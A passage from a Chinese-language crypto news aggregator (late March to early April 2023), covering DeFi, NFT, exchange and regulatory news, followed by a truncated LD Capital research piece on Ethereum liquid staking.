实现）的账户抽象钱包服务商，具有社会恢复功能、全局锁定功能及储蓄账户功能；8）Moonboard：为旨在帮助兴趣发现以及早期创意曝光的图片社交平台； 内容来源 Azuma：9）Ethercard：嵌入了与用户加密货币钱包相连的 NFC 芯片的实体卡，允许个人和企业使用 NFC 技术轻松、安全地接收加密货币支付；10）ZKaptcha：基于零知识证明的验证码系统，DApp 开发者可以保护他们的智能合约功能不受机器人的干扰；11）Cove：旨在为以 Layer 2 为中心的以太坊生态系统构建的简单、可靠、开源的合约验证。 内容来源  ( 7 min )
    解析聚合器赛道现状：Li.Fi 有哪些优势？
    Chainfeeds 导读： 刚刚完成 1750 万美元 A 轮融资的流动性聚合器 LI.FI，在哪些方面拥有多重护城河？加密研究员 Joel John 从成本、分发和用例等方面对 LI.FI 的优势进行了解读分析。中文版本由 BlockBeats 编译发布。 文章来源： https://www.theblockbeats.info/news/36117 文章作者： Joel John 观点： Joel John：LI.FI 是一个支持多条链的流动性聚合器，为开发人员提供 SDK，以使他们的应用程序和用户支持多条链。例如，如果 Metamask 或 OpenSea 希望允许用户在 Polygon 和 Ethereum 之间转移资产，LI.FI 的 SDK 将确定跨越桥梁和去中心化交易平台（DEX）的最佳路径以转移资金，从而使开发人员能够专注于他们的核心竞争力。 内容来源 Joel John：将聚合器（如 Li.Fi）视为开发人员在其应用程序中放置的构建组块，以帮助用户以最低成本在链之间移动资产。尽管市场上有很多类似的竞争对手，但 LI.FI 是一个很好的例子，因为他们已经做了构建强大护城河的几件事情：专注于企业而非散户、产品可以为企业节省研究和维护时间和资源、对于终端用户提供了最佳的转移成本基础、第一个集成新链的平台及目标用户群体无需太多知识普及工作。 内容来源 Joel John：LI.FI 如何从一种新奇工具逐渐转变为一种便捷工具？早期用户之所以依赖桥接聚合器，是因为在不同的区块链之间转移资产是一个耗时的过程，需要通过中心化平台和安全检查。当新奇感消失后，LI.FI 开始主要面向开发人员进行销售。此外，要想脱颖而出成为一种便利工具，企业必须专注于少数高收益用户。 内容来源
    【英文】多方计算，还是账户抽象？开发者该如何选择？
    Chainfeeds 导读： 多方计算（MPC）是一种技术，用于安全计算由多方拥有的私人数据上的函数且无需向各方透露。而账户抽象（AA）是一种思考账户、智能合约和交易执行之间接口的新方式。两种技术都能实现可编程钱包，但所实现的功能各不相同。Capsule 撰文对两种方式的实现功能进行了权衡分析。 文章来源： https://blog.usecapsule.com/mpc-vs-aa-the-facts/ 文章作者： Capsule 观点： Capsule：1）多链：应用程序开发者如果选择使用账户抽象，需要考虑如何实现链之间的互操作性；2）捆绑交易：账户抽象允许用户将多个交易捆绑在一起且开箱即用，而 MPC 系统则可以插入捆绑器以实现类似功能；3）成本：链上交易成本是阻碍应用开发者开发工作的重要因素，大规模部署和升级的成本是非常昂贵的，且升级底层智能合约还可能会引入新的漏洞；【原文为英文】 内容来源 Capsule：4）密钥管理：MPC 允许开发者使用先进的密钥管理制度，相反账户抽象则提出了一个更好的推理方式，但并不涉及密钥管理；5）灵活性：MPC 钱包可以纳入账户抽象的各个方面，但需要修改钱包底层密钥；6）如果目前正在使用智能合约钱包，那么将选择账户抽象会更优意义。【原文为英文】 内容来源  ( 4 min )
    【英文】Blockworks Research 解读 ArbitrumDAO 成立提案，为何说这是 DAO 治理的退步？
    Chainfeeds 导读： Blockworks Research 认为 ArbitrumDAO 成立提案是对改善 DAO 治理和透明度当下状态的倒退，并撰文对将 7.5 亿枚 ARB 代币转至行政预算钱包这一举措提出了质疑。 文章来源： https://twitter.com/blockworksres/status/1641843788716060672 文章作者： Blockworks Research 观点： Blockworks Research：我们的核心关注点在于 7.5 亿枚 ARB 代币，按当前价格计算价值超过 10 亿美元，这些代币似乎将在 Arbitrum 基金会的控制下由 3 位初始董事管理。7.5 亿枚 ARB 代币占总供应量的很大一部分，所以我们认为这个投票需要仔细考虑。在没有进一步明确拨款程序，资金如何持有，有哪些监督情况下，这个提案不应该被通过。【原文为英文】 内容来源 Blockworks Research：具体而言，谁应该是行政预算钱包的签名者？这 7.5 亿枚 ARB 代币已经从财库中取出了，现在似乎实在 3 个人的集体控制之下。因此我们有理由相信 Offchain Labs 已经预先分离了行政预算钱包。我们还希望进一步明确 7.5 亿枚 ARB 代币的使用场景及分配方式。【原文为英文】 内容来源 Blockworks Research：对比 Uniswap 提议设立 Uniswap 基金会，提案中的资金总额为 7400 万美元，且 7400 万美元将分成两笔进行支付。因此我们不太能理解 Arbitrum 预算钱包一次性需要 7.5 亿 ARB 代币。我们认为对必要的支出应该要有清晰的认知，并在一年后需要重新评估以进一步编制预算。【原文为英文】 内容来源  ( 2 min )
    【英文】Polygon Zero 创始人：多维度对比 Polygon zkEVM 及 zkSync Era zkEVM，有何异同？
    Chainfeeds 导读： 随着 zkEVM 战争升温，市场对于不同 zkEVM 的优缺点进行了大量讨论，但也存在一些错误信息。Polygon Zero 创始人 Daniel Lubarov 撰文对一些 Polygon zkEVM 的事实进行了澄清，并将其与 zkSync Era zkEVM 进行了对比分析。 文章来源： https://hackmd.io/@dlubarov/HydKgJBW2 文章作者： Daniel Lubarov 观点： Daniel Lubarov：1）EVM 兼容性：Polygon zkEVM 可以直接执行 EVM 字节码。根据 Vitalik 的分类，它是一个类型 3 的 zkEVM。zkSync Era 则使用不同的字节码格式，并通过编译器支持 Solidity。这使得它成为一个类型 4 的 zkEVM；2）性能：性能一直是 Polygon 的首要任务，在 CPU 上运行验证器的每笔交易成本约为 0.000084 美元。目前尚未找到关于 zkSync 的 zkEVM 的任何工作基准；【原文为英文】 内容来源 Daniel Lubarov：3）字段选择：zkSync 采用基于 alt-bn128 曲线的 SNARK，底层字段大小约为 254 bits，其优势在于 EVM 原生支持，因此向以太坊提交证明会更简单。Polygon 则选择用 alt-bn128 的 fflonk 证明来「包装」最终聚合证明，该方法需要做更多工作，但提升了性能；4）安全性：Polygon zkEVM 完成了两次独立审计，zkSync 网站暂未列出对 zkEVM 的审计信息；【原文为英文】 内容来源 Daniel Lubarov：5）L1 数据：Polygon zkEVM 将所有交易数据发布至 L1 上，目前平均交易大小约为 120 bytes，因此每个交易的成本为 1920 Gas。zkSync 发布状态差异，修正后的数据显示其与 Polygon zkEVM 的每个交易的 Gas 成本没有太大区别。【原文为英文】 内容来源  ( 5 min )
    ZeroSync 协会和 Blockstream 计划从 Blockstream 卫星向全球广播比特币零知识证明
    ZeroSync 协会和 Blockstream 计划从 Blockstream 卫星向全球广播比特币零知识证明 瑞士非盈利组织 ZeroSync 协会和比特币基础设施公司 Blockstream 表示计划从 Blockstream 的卫星向全球广播比特币零知识证明，包括互联网不覆盖地区。ZeroSync 预计第一次实验性广播将在今年年底进行。 ZeroSync 协会于本周二由 Robin Linus、Tino Steffens、Lukas George 等成立，将带头开发比特币证明系统，构建具有比特币隐私、互操作性和可扩展性的未来。 内容来源 观点： Robin Linus（ZeroSync 联合创始人）：比特币的安全性要求每个参与者验证每笔交易。直到现在，都没有形成很好的规模，像 STARKs 这样的证明系统已经被发明出来了。应用它们来生成比特币链状态的证明，并通过卫星广播，可以把比特币带给世界上的几乎所有人。不要相信，要验证。【原文为英文】 内容来源  ( 2 min )
    Trader Joe 营销负责人：最快或将于下周推出 Liquidity Book V2.1
    Trader Joe 营销负责人：最快或将于下周推出 Liquidity Book V2.1 Avalanche 生态 DEX Trader Joe 营销负责人 Blue 在社区 Discord 电话会议上表示，Trader Joe 最快将于下周推出 Liquidity Book V2.1，存款人将能够更有效地将代币添加至 Trader Joe 流动性池中，同时还将改善交易体验。此次升级还将引入「自动池」，自动管理储户在流动性池子中的活跃头寸以减轻风险。此外，Trader Joe 还将推出新的奖励计划，重点是向参与 Trader Joe 集中流动性的用户分发代币。 内容来源  ( 27 min )

  • Open

    加密交易所Trader Joe或将于下周推出升级版交易引擎
    PANews 4月1日消息，据CoinDesk报道，去中心化加密交易所Trader Joe营销负责人Blue周五在电话会议上表示，最快将于下周推出升级版交易引擎自动做市商Liquidity Book V2.1。新版本引擎将使存款人更有效地向Trader Joe的流动性池中添加代币，并改善链上交易体验。Trader Joe已在Arbitrum、BNB Chain和Avalanche上部署。此次升级还将引入“自动池”，自动管理储户在流动性池中的活跃头寸，以降低风险。此外，Trader Joe还将推出一个新的奖励计划，向那些参与Trader Joe集中流动性的用户分发代币。DefiLlama的数据显示，自3月26日以来，Trader Joe的总锁仓价值为1.3178亿美元，交易量超过5.2亿美元。  ( 1 min )
    Bittrex将于4月30日关闭美国业务，其它地区业务不受影响
    PANews 4月1日消息，据CoinDesk报道，加密交易所Bittrex周五宣布，在运营9年后，该公司将于4月30日关闭其美国平台。Bittrex联合创始人兼首席执行官Ritchie Lai在声明中表示，在当前的美国监管和经济环境下，继续运营从经济角度来看是不可行的。监管要求通常不明确，并且在没有适当讨论的情况下强制执行，导致竞争格局不均衡。因此在美国运营已经不再可行。所有客户的资金都是安全的，可以取款。此外，在欧洲、加拿大和南美等地区运营的Bittrex Global不受影响，将继续开放交易。  ( 1 min )
    动视暴雪前总裁Daniel Alegre正式担任Yuga Labs首席执行官
    PANews 4月1日消息，视频游戏公司动视暴雪（Activision Blizzard）前总裁兼首席运营官Daniel Alegre在推特宣布，将于4月1日正式担任Yuga Labs首席执行官一职。Alegre预计将监督与公司知识产权相关的多项创意开发，其中包括BAYC和CryptoPunks NFT以及Otherside元宇宙平台。据此前消息，Yuga Labs在去年12月宣布将任命Daniel Alegre为首席执行官，并指出他将接替Nicole Muniz，Nicole Muniz继续担任公司合伙人和战略顾问。Daniel Alegre 曾参与了《使命召唤》、《魔兽世界》、《暗黑破坏神》、《守望先锋》和《Candy Crush》等知名游戏品牌的开发。  ( 1 min )
    美国国家期货协会(NFA)制定加密商品交易新规，将于5月31日生效
    PANews 4月1日消息，据CoinDesk报道，美国国家期货协会(NFA)正在为其从事数字资产大宗商品交易的成员制定标准。NFA在一份声明中表示，新规将于5月31日生效，目前仅适用于比特币(BTC)和以太坊(ETH)交易。如果NFA成员在其现货数字资产商品活动中存在欺诈或类似不当行为，NFA则可以惩罚成员或采取其他行动来保护公众。新规则还要求成员密切监督他们的活动，参与现货加密商品活动的成员“必须对这些活动实施适当的监督政策和程序”。CFTC委员Caroline Pham周五在网站上发表声明称，"这是利用现有权力保护客户的一个显著例子。NFA成员和相关人员被要求明确披露与比特币和以太币现货交易相关的风险，以便客户在做出任何交易决定之前充分了解情况。”  ( 1 min )
    MakerDAO社区已选出4个第一批孵化生态系统参与者
    PANews 3月31日消息，MakerDAO 社区已根据新的 Maker 章程参数选出第一批四个孵化生态系统参与者（Incubating Ecosystem Actor），分别为 dewiz、Sidestream、Phoenix Labs 与 Viridian Protector Advisory Company。孵化生态系统参与者是指为未来 SubDAO 而准备的生态系统参与者，由 Ecosystem Scope 管理，并由 Maker Governance 分配对 Maker 有用的项目，这些项目寻求委托创新来开发协议、产品或服务。孵化生态系统参与者的 DAO 级目标决定了 Maker Governance 将为其考虑的项目类型，以及如何根据其产生特定理想结果的潜力进行加权。 四个孵化生态系统参与者中，dewiz 预算分配为每月 15 万枚 DAI 与 21 枚 MKR，目标包括以 RWA 为重点的 Collateral Onboarding Technical 工作与一般智能合约开发；Sidestream 预算分配为每月 70,912.5 枚 DAI，目标为全栈智能合约与前端开发；Phoenix Labs 在民意投票通过后将立即分配 347,100 枚 DAI，每月将为开发者关系一职分配 1.7 万枚 DAI 与 10 枚 MKR，目标为交付 Spark 协议并维护 12 个月；Viridian Protector Advisory Company 在民意投票通过后将立即分配 257,250 枚 DAI，每月分配 85,750 枚 DAI，目标为提供 Protector 咨询工作。  ( 2 min )
    美国政府于3月14日出售了9861枚BTC，并打算在一年中分四批出售另外4.15万枚与丝绸之路相关的BTC
    PANews 3月31日消息，推特用户@tier10k发推称，法庭文件显示，美国政府于 3 月 14 日出售了 9,861 枚 BTC，并打算在一年中分四批出售另外 41,500 枚与丝绸之路相关的 BTC。  ( 1 min )
    孙宇晨：格林纳达驻WTO大使的任期于3月31日结束
    PANews 3月31日消息，孙宇晨发推表示，其在格林纳达担任的驻WTO大使一职任期于2023年3月31日正式结束。接下来的几个月里，个人将专注于将其职责顺利移交给继任者，并在稍作休息后继续其公职人员生涯，将专注于数字经济和加密货币监管领域。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.31）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    PA日报｜意大利即日起禁止使用ChatGPT；币安推出无需助记词的DeFi钱包
    今日要闻提示： 央行副行长：加密货币并没有解决信用货币存在的问题，潜藏很多风险 意大利：即日起禁止使用ChatGPT并限制OpenAI处理意大利用户信息 Magic Eden引入钻石奖励，目前用户可通过三种方式赚取钻石 币安发布内置于应用程序的DeFi钱包，支持无助记词使用 Optimism公布第二轮追溯性公共产品募资结果，L2Beat等195个人或项目被资助 硬件钱包制造商Ledger以13 亿欧元的估值锁定了 1 亿欧元的大额融资 PAData：本月DEX交易量环比增长72%，衍生品单月交易量创2022年来新高 数据：所有DAO金库持有的总资产超250亿美元，较年初已翻倍 监管消息 意大利：即日起禁止使用ChatGPT并限制OpenAI处理意大利用户信息 意大利数据保护机构对OpenAI公司非法收集用户信息展开调查。意大利个人数据保护局今天宣布，即日起禁止使用聊天机器人ChatGPT，并限制开发这一平台的美国人工智能公司OpenAI处理意大利用户信息。同时，意大利个人数据保护局指出，本月20日，ChatGPT平台出现了“用户对话数据和付款服务支付信息丢失”的情况。此外，该平台没有就收集处理用户信息进行告知，缺乏大量收集和存储个人信息的法律依据。OpenAI公司“必须在20天内通过其在欧洲的代表向意大利个人数据保护局通报公司执行保护局要求而采取的措施”，否则将被处以最高2千万欧元或公司全球年营业额4%的罚款。 央行副行长：加密货币并没有解决信用货币存在的问题，潜藏很多风险 据澎湃新闻报道，中国人民银行副行长宣昌能在博鳌亚洲论坛2023年年会“数字时代的金融基础设施与金融服务”圆桌会上表示，要加快完善与数字经济相适应的监管机制。金融监管是保障数字金融稳健运行的基础性的制度安排，监管缺失会加剧非理性的市场行为。宣昌能表示，以加密货币为例，国际金融危机爆发以来，主要发达经济体长时间实施超宽松的货币政策，大规模实施QE，引发市场主体对信用货币资产贬值的担忧，在美国出现了占领华尔街的运动。在这样的背景下，以区块链技术为基础，加密货币强调它去中心化和规则算法的属性，试图对信用货币形成一种反制，并且在流动性充裕的环境下受到很多人的追捧。 NFT Magic Eden引入钻石奖励，目前用户可通过三种方式赚取钻石 据官方博客，NFT市场Magic Eden宣布引入钻石奖励（Diamond Rewards）计划，允许用户根据不同的任务赚取钻石，并在Magic Eden中解锁更多的奖励。 钻石是一种奖励货币，每月奖励数量都会保持不变。目前获得钻石的方式有以下三种： 1.在Magic Eden上架NFT并成功出售； 2.在Magic Eden竞价NFT并被接受； 3.完善个人资料。 Magic Eden表示，用户忠诚度分数用于确定所赚钻石的乘数，100%的忠诚度得分会获得2倍乘数。每24小时检查一次忠诚度，并在赚取钻石时应用忠诚度乘数。忠诚度得分计算考虑了用户在过去6个月的活动。Magic Eden还将推出更多赚取钻石和奖励的方式，以及未来特定的钻石福利和奖励。 Tessera创始人旗下NFT市场Escher正式上线，将强制执行100%版税 据官方推特，NFT碎片化协议Tessera创始人Andy Chorlian创立的NFT市场Escher已正式上线，该平台将提升购买和销售版画体验，并使收藏家和创作者更容易参与加密社区和获得激励。Escher还宣布其NFT市场将强制执行100%版税，同时上线限量版NFT系列“Escher Exclusives”。 项目动态 币安发布内置于应用程序的DeFi钱包，支持无助记词使用 币安推出由其 ID 提供支持、直接内置于币安应用程序并使用 MPC 技术保护的 DeFi 钱包，支持从 CeFi 到 DeFi 转账、跨链、钱包恢复、无需助记词。目前，该钱包支持 BNB Chain 与以太坊，将支持更多链。此外，该钱包还嵌入币安 ID、生物识别身份验证、钱包连接支持与 SBT 等高级功能。 Optimism公布第二轮追溯性公共产品募资结果，L2Beat等195个人或项目被资助 以太坊二层扩容方案 Optimism 公布第二轮追溯性公共产品募资（RetroPGF 2）结果，在第二轮 RetroPGF 中，有 195 个人和项目被提名资助，所有 195 人都获得了徽章持有者的资助。 1000 万枚 OP 资金平均被分配给三个类别：教育、基础设施以及工具和公用事业。教育类别中，资助了 70 人或项目，前三名接受者为 L2Beat、ETHGlobal 和 BuidlGuidl；基础设施类别资助了 43 个项目，前三名接受者为 Protocol Guild、geth 和 Solidity；工具和公用事业项目类别资助了 82 个项目，前三名接受者为 OpenZeppelin、DefiLlama 和 wagmi。 外媒：孙宇晨在去年格林纳达新政府上台后被剥夺了其外交官的身份 据格林纳达广播网（GBN）披露，波场TRON创始人、火必Huobi全球顾问委员会成员孙宇晨不再是格林纳达的外交官。在2022年6月举行的选举后的某个时候，孙被剥夺了大使身份，当时授予孙宇晨的职位的新国家党被全国民主大会罢免。所有大使都在现成立九个月的NDC政府的“最初几个月”的某个时候被召回，尽管孙宇晨没有公开承认失去他的职位。 据悉，孙宇晨于2021年12月被任命为格林纳达驻世贸组织大使，当时的格林纳达政府表示希望他利用他的人脉来促进该国的贸易、投资和发展机会。 针对此报道，孙宇晨回应称其仍是格林纳达驻WTO常驻代表及特命全权大使。 韩国法院再次拒绝逮捕Terra联创Daniel Shin 据彭博社报道，韩国检察官要求对Terraform Labs联合创始人Daniel Shin发出逮捕令的请求被当地法院第二次驳回。 首尔南区法院周四表示，对申某的指控仍有争议，他不太可能有潜逃或销毁证据的风险。 此前去年12月消息，韩国法院驳回对Terra联创Daniel Shin逮捕令。首尔检察官去年表示，Shin面临欺诈、失职、违反资本市场法和非法集资等指控。 FTX欧洲子公司为当地客户推出仅用于提款的新网站 据Finance Magnates报道，破产的加密交易所FTX的欧洲子公司FTX Europe为其客户创建了一个新网站，用于从该平台提取余额。新域名ftxeurope.eu已获得塞浦路斯证券交易委员会 (CySE) 的批准。新网站将不提供任何产品或除余额提取外的任何其他服务。登录新网站时会会弹出一个对话框，要求用户“登录您的FTX EU帐户，以查看您的余额并请求提款”。原来的旧网站目前仍无法使用。 以太坊核心开发者：最后一个以太坊主网影子分叉拟于下周进行 以太坊核心开发者Tim Beiko在推特上表示：“以太坊Shapella升级测试进入最后阶段，最后一个主网影子分叉计划于下周进行，并对最新版本进行跨客户端EVM模糊测试。EOF（EVM 对象格式）已更新，各队普遍对EOF持积极态度，但怀疑它是否能与坎昆会议上的EIP-4844相适应。有人提议可能将其安排在下一个分叉中。” Rocket Pool将于4月18日进行Atlas升级，包含新的8 ETH迷你矿池 据官方推特，以太坊流动性质押协议Rocket Pool将于4月18日进行Atlas升级。此次升级将推出新的8 ETH迷你矿池，即只需要8枚以太坊就可参与节点质押（满足Rocket Pool要求的情况下）。此次Atlas升级特点包括提高协议效率，为节点运营者分发更高的奖励，提升rETH容量，仍然完全无需许可。 Atlas最重要的功能是RocketPool验证节点Minipools LEB 8's，当前当节点运营商希望创建一个迷你矿池时必须提供16枚ETH并代表协议接收16枚ETH，这意味需要在以太坊上创建一个32枚ETH的质押验证器，随着LEB8的引入，16枚ETH的数量设置将减少至8ETH。此外，Smartnode v1.9.0现已发布，是Shapella硬分叉（4月12日）之前的强制升级。此版本的升级将引入16 ETH迷你矿池。 根据之前消息，此次升级将使该协议与以太坊的上海升级兼容。 Uniswap基金会新提案提议在L1和L2上确定V3官方部署，以应对BSL到期 据官方推特，Uniswap基金会在推特上表示，由于Uniswap V3的商业源代码许可证（BSL）将于2023年4月1日到期，确定每个链的一个“官方”V3部署将非常重要,以便为用户提供安全保障，为生态系统参与者提供重点支持，并为Uniswap提供清晰度治理。 Uniswap基金会已发布治理提案，以确定BSL在4月1日到期后L1和L2上的“官方”Uniswap部署，并且目前正在收集社区的反馈，以推动这一进程。 其中，一个实体或个人可以同时充当多个利益相关者，例如，提议者也可以是部署者，部署者可以是桥提供者，Uniswap基金会还建议创建一个新的ENS子域v3-deployments.uniswap.eth以跟踪Uniswap V3在L1和L2上的官方部署。 Upbit、Bithumb、Coinone等韩国加密交易所将下架Paycoin（PCI） Upbit、Bithumb、Coinone等韩国加密交易所通过官网宣布将于当地时间4月14日15:00（北京时间4月14日14:00）下架Paycoin（PCI）。Upbit 表示，“直至投资警告期限届满之日，Paycoin方未能解决投资警告所指出的原因，例如未发行实名存取款账户名称及未能完成虚拟资产经营者变更报告。因此，使用PCI的境内支付业务被判定为实质上已暂停。从业绩和方向来看，投资者投资此项目会有较大风险，因此我们决定终止交易支持。” 此前去年11月14消息，韩国监管机构对Paycoin和Wemix等平台币进行调查，以防止“第二次FTX事件”；随后多家韩国交易所于去年12月份下架WEMIX。1月6日消息，韩国金融当局责令Paycoin在2月5日之前关闭相关服务。1月12日消息，韩国DAXA已将Paycoin标记为投资警告。 融资消息 硬件钱包制造商Ledger以13 亿欧元的估值锁定了 1 亿欧元的大额融资 据彭博社报道，总部位于巴黎的硬件钱包制造商 Ledger 在首轮融资中筹集了 1 亿欧元（1.09 亿美元）的大部分资金。 估值为 13 亿欧元，与投资者在2021 年 6 月上一次融资时给出的价格大致相同。新投资者包括 True Global Ventures、Cité Gestion SPV、Digital Finance Group 和 VaynerFund。他们加入了 10T、Cap Horn、Morgan Creek 和 Cathay Innovation 等现有支持者的行列。该公司将利用这笔现金扩大其分销商网络、提高产量和开发产品，从而发展业务。 跨链桥聚合器LI.FI完成1750万美元A轮融资，CoinFund等领投 据Finextra报道，跨链桥聚合器LI.FI宣布完成1750万美元A轮融资，CoinFund和Superscrypt领投，Bloccelerate、L1 Digital、Circle、Factor、Perridon、Theta Capital、Three Point Capital、Abra和近20位天使投资人参投。 据悉，LI.FI本轮筹集的新资金将用于推动LI.FI在更多区块链、DEX、跨链桥等领域的开发，同时加强其销售、业务发展、营销和其他能力，以支持代币和订单流交易。 此前去年7月消息，Li.Fi完成由1kx领投的550万美元融资。 矿业消息 比特币矿企TeraWulf 2022年第四季度收入为960万美元，同比增长146% 据Businesswire报道，比特币矿企TeraWulf周四发布的季度报告显示，随着该公司加大了矿机的部署，该公司2022年第四季度收入为960万美元，于2022年第三季度的390万美元相比增长了146%。 TeraWulf在2022年的收入为1500万美元，共自营产出524枚比特币。截至2022年12月31日，自挖总算力达到1.4EH/s，截至2023年2月28日，达到2.6EH/s，两个月增长了86%。该公司预计，到2023年第二季度的总运营能力将达到50,000台矿机（5.5 EH/s）。 重要数据 PAData：本月DEX交易量环比增长72%，衍生品单月交易量创2022年来新高 据DuneAnalytics（@hagaetc）数据，3月DEX的交易量达到了1288.16亿美元，较去年同比增长了8.69%，较前年同比增长了118.40%。而且仅从今年年内来看，3月DEX的交易量分别较2月环比增长了71.99%，较1月环比增长了112.94%。其中，Uniswap、Curve和Sushiswap是交易量最高的3个市场。从DEX的细分领域来看，本月衍生品交易量增长明显，不仅首次突破200亿美元，而且为2022年以来单月最高值，约为251.5亿美元。 数据：比特币矿工本月收入已达7.18亿美元，创去年5月以来新高 据The Block报道，数据显示，到目前为止，比特币矿工3月份收入至少达7.18亿美元，已达2022年5月以来新高。 与此同时，截至周四，比特币区块链的交易量也从2月份的499.34美元跃升至3月份的689.68美元。 数据：所有DAO金库持有的总资产超250亿美元，较年初已翻倍 据Cointelegraph报道，DeepDAO数据显示，3月31日，所有去中心化自治组织（DAO）在金库中持有的总资产达251亿美元，创历史新高。其中约有220亿美元是流动资金，约有35亿美元预留用于归属。自2023年初以来，DAO金库资产已增加了一倍多。 Optimism Collective持有55亿美元的资金，占据22%的份额。Arbitrum的DAO，资金略低，为44亿美元，占17.5%的份额，其次为BitDAO、Uniswap和Polygon，分别持有26亿美元、25亿美元和15亿美元的资金。 数据：Magic Eden比特币NFT市场日交易量占比超70%，系最大Ordinals市场 Dune Analytics数据显示，比特币Ordinals市场总交易量达1590.83万美元，交易笔数为38843笔，唯一用户数达18462人。自Magic Eden推出比特币生态NFT市场以来，该平台上的日交易量一直领先。3月30日，Magic Eden的Ordinals市场交易量约为25.56万美元，约占当日总交易量35.8万美元的71.4%。从当日交易量来看，第二大市场Ordinals市场为“Ordinals Market”,市场份额达13.4%。其次为“Ordinals Wallet”，市场份额达10.5%，其他市场的份额均不到5%。 数据：3月安全事件共造成约2.1亿美元的损失 据欧科云链OKLink安全团队监测，2023年3月安全事件共造成约2.1亿美元损失，与上个月相比，本月安全事件数量和损失金额均有显著上升。其中Euler Finance被黑客攻击，导致1.97亿美元的加密货币被盗，这是今年迄今为止加密货币损失金额最大的一次黑客攻击。  ( 3 min )
    稳定性与高增速共振，LSD赛道将实现“戴维斯双击”
    原文：《「Trend Research by LD Capital」LSD赛道长坡厚雪，稳定性与高增速贯穿整年》 由于上海升级的临近，我们认为需要结合最新的数据变化重新判断 LSD 赛道的未来发展以及其对整个链上生态带来的影响。本文从上海升级后行业整体成长空间、4 种质押解决方案与不同 LSD 协议比选、DVT 赛道的定位和 LSD 资产对链上其他生态的影响 4 部分概览 LSD 赛道全景。 以太坊质押率的提升将带来 LSD 赛道整体协议费用上涨，长期来看 LSD 赛道的戴维斯双击仍未结束。当前以太坊质押率 14.56%，由于其他 POS 公链质押率大多超过 60%，故而对以太坊质押率的提升有较大的增长预期。假设 LSD 赛道费用情况保持不变，我们估算当以太坊质押率上升至 29%、44%、58% 时，对应 LSD 赛道协议费用的上涨幅度分别为 1.31 倍、1.55 倍、1.76 倍。从 P/F 估值角度来看，当前 LSD 赛道龙头标的 LDO 3.89 倍 P/F，相较于老牌 Defi 协议 UNI 7.12 倍、AAVV 10.35 倍等估值水平仍有较大提升空间。 上海升级之后，LSD 协议的相对市场份额或将发生变化，中期关注赛道龙头 Lido 与以 Frax 为代表的高收益率 LSD 协议，短期关注 Rocket pool Atlas 升级。上海升级之后，早期节点的退出与用户质押意愿的增强将为 LSD 协议的相互竞争提供条件，目前来看 Lido 在知名度、资金规模、安全性、收益率、流动性、组合性等多维度久经考验，龙头位置不可撼动；但后来者如 Frax 通过自持的 CVX 与双币模型的设计实现了与 Curve 生态的组合，使得其拥有了远高于同类质押产品的质押收益率，顺利完成产品的冷启动与早期增长，未来随着收益聚合产品的推出普及，Frax 等高收益率产品的增长有望进一步加快。需要指出的是，Frax 的高收益率将随其 TVL 的升高不断降低，以目前情况估算，当其 ETH 质押量达到 20 万枚时，质押收益率将下降至 6%；近期 Rocket pool 的 Atlas 升级值得关注，将节点运营商 ETH 的最少质押数量由 16 枚降低至 8 枚，提升协议容量的同时增强了节点激励，预计会为其 TVL 带来较大增量。 目前以 SSV、Obol、Diva 为代表的 DVT 产品的定位是以太坊质押的重要基础设施。DVT 产品旨在保证以太坊验证出块稳定性的同时提升网络的去中心化程度，可以降低节点运维团队的运营成本，减少安全风险。SSV 的发展重在运营商网络的搭建，其代币作为网络的支付手段与治理凭证捕获协议价值；Obol 的发展重在中间件的适配性，而 Diva 的目标在于结合 LSD 与 DVT 两种模式打造一站式产品，目前处于开发早期。 以太坊质押或将催生千亿规模的 lsdETH，其在重构或冲击传统 Defi 协议收入结构的同时，围绕这一新资产类别构建的二层产品或将成为市场中新的α。lsdETH/ETH 的流动性构建或将为 Curve、Balancer 等 DEX 带来新的业务增量，相较于 Curve，目前 Balancer 的边际变化更大；但以太坊的质押收益可视为链上币本位的无风险收益率，这一收益率的出现将提高链上的流动性成本，对存款池类型的借贷产品形成利空，CDP 模式借贷受影响相对较小。同时未来围绕这一生息资产构建而起的再质押、收益聚合、本息分离、杠杆协议等产品都将受益于底层资产的庞大规模获得较高的业务天花板，值得持续的跟踪研究。 风险： 监管风险、宏观经济风险、技术升级不及预期风险 以太坊质押率增长推动矿工收入提升从而带来 LSD 赛道收入的整体上涨，长期来看赛道收入估值仍处于双升区间。当前以太坊质押率 14.56%，由于其他 POS 公链质押率大多超过 60%，故而对以太坊质押率的提升有较大的增长预期。下图估算当以太坊质押率翻 1 倍、2 倍、3 倍上升至 29.12%、43.68%、58.24% 时对应 LSD 赛道协议费用的上涨幅度分别为 1.31 倍、1.55 倍、1.76 倍。计算方法、假设与过程如下： 执行层奖励由 Priority fee 决定，由于以太坊费用机制的平衡设定，假设执行层奖励不变（偏保守估计，当网络 Gas 波动时，执行层奖励会大幅攀升，如 3 月 10 日 USDC 脱锚事件导致链上交易激增，以太坊执行层奖励增长为平时 4–6 倍）；共识层奖励由以太坊的区块奖励决定，总区块奖励与总质押量的平方根成正比，共识层 APR 与总质押量的平方根成反比，具体计算公式为 base_reward = effective_balance * (base_reward_factor / (base_rewards_per_epoch * sqrt(sum(active_balance))))。以当前 14.56% 质押率对应共识层奖励与执行层奖励为基准，据上述 2 个条件估算质押率达到目前 2–4 倍的矿工收入情况。同时假设 LSD 协议收费标准不变，则矿工收入随质押率增长的倍率即为 LSD 协议费用增长倍率如下： 图表 1： 矿工收入随质押率的变化情况 来源：LD Capital 需要注意的是以太坊质押率的提升是一个渐进的过程，上海升级后的 1–2 个月甚至有可能观察到以太坊质押率下降的情况。由于以太坊验证者节点准入和退出的限制，可判断以太坊质押率的变化是一个缓慢的过程。目前以太坊网络验证者总数约 55.68 万，每天准入 1800 个验证者节点。上海升级之后允许验证者节点退出，每天可退出数量与可进入数量相等，由于早期验证者的退出，有可能在上海升级之后的一段时间内观察到以太坊的质押率轻微下降的情况，判断依据为：目前信标链中约 1087 万枚 ETH 通过 lsd 协议与中心化交易所参与质押，拥有二级市场流动性，且当前各类 lsdeth/eth 基本没有折价，所以该部分在上海升级之后通过一级市场基于刚兑或盈利需求的赎回规模不大；剩余约 695 万枚 ETH 采用 Staking pool 或单独质押的方式进行，由于该部分缺乏二级市场流动性，假设上海升级后有 1/2 赎回选择，每天最多赎回 5.76 万枚。以太坊将在上海升级之后的 60 天内面临满负荷赎回的情况；观测目前进入质押的数据，每天新质押比例一般为最大可进入质押比例的 